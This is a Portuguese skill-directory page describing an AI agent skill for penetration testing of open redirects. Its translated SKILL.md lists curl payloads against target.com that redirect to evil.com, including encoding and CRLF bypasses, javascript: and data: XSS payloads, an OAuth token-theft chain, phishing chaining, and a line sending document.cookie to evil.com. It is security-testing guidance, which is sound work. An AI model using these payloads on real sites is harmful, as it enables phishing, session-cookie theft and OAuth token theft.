Pular para o conteúdo
Skillpedia
Testes35 mil · #6224

testing-for-open-redirect-vulnerabilities

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em sites que redirecionam usuários. Ela verifica se o site pode ser enganado para enviar o usuário para um site malicioso, disfarçado de link confiável.

Quando usar

  • ✓Ao testar páginas de login ou logout.
  • ✓Ao verificar como sites lidam com links de volta após uma ação.
  • ✓Ao criar simulações de ataques de 'phishing'.

Exemplo do que pedir para a IA

“Verifique se o site 'exemplo.com' redireciona para outros sites sem permissão.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa os links que o site usa para redirecionar as pessoas. Ela tenta usar truques para fazer o site enviar o usuário para um endereço perigoso, mesmo que ele não devesse.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades de Redirecionamento Aberto

Quando Usar

  • Ao testar fluxos de login/logout que redirecionam usuários para URLs especificadas
  • Durante a avaliação de endpoints de autorização OAuth com parâmetros redirect_uri
  • Ao auditar aplicações com parâmetros de URL (next, url, redirect, return, goto, target)
  • Durante simulações de phishing para encadear redirecionamentos abertos com coleta de credenciais
  • Ao testar implementações de SSO para fraquezas na validação de redirecionamento

Pré-requisitos

  • Burp Suite ou OWASP ZAP para interceptar requisições de redirecionamento
  • Coleção de payloads de bypass de redirecionamento aberto
  • Domínio externo ou Burp Collaborator para confirmação de redirecionamento
  • Compreensão de esquemas de análise e codificação de URL
  • Navegador com ferramentas de desenvolvedor para observar cadeias de redirecionamento
  • Conhecimento dos códigos de status de redirecionamento HTTP 301/302/303/307/308

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar Parâmetros de Redirecionamento

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Passo 2 — Testar Payloads Básicos de Redirecionamento Aberto

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Passo 3 — Aplicar Técnicas de Bypass de Validação

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Passo 4 — Testar Redirecionamentos Baseados em Caminho

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Passo 5 — Encadear com Outras Vulnerabilidades

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Passo 6 — Automatizar Testes de Redirecionamento Aberto

# Use OpenRedireX para testes automatizados
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use a ferramenta gf para extrair parâmetros de redirecionamento de URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Teste em massa com nuclei

…
Perguntas frequentes

O que é um 'open redirect'?

É uma falha de segurança onde um site redireciona o usuário para um link externo sem verificar se o destino é seguro. Isso pode ser usado para enganar usuários.

Preciso saber programar para usar isso?

Não é necessário saber programar, mas entender como os links funcionam na internet ajuda a usar a ferramenta de forma mais eficaz.

Quais ferramentas são necessárias?

Ferramentas como Burp Suite ou OWASP ZAP são úteis para analisar o tráfego da web e identificar os redirecionamentos.

Detalhes

Descrição original do autor

Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling, or SSO redirect validation.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6224
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas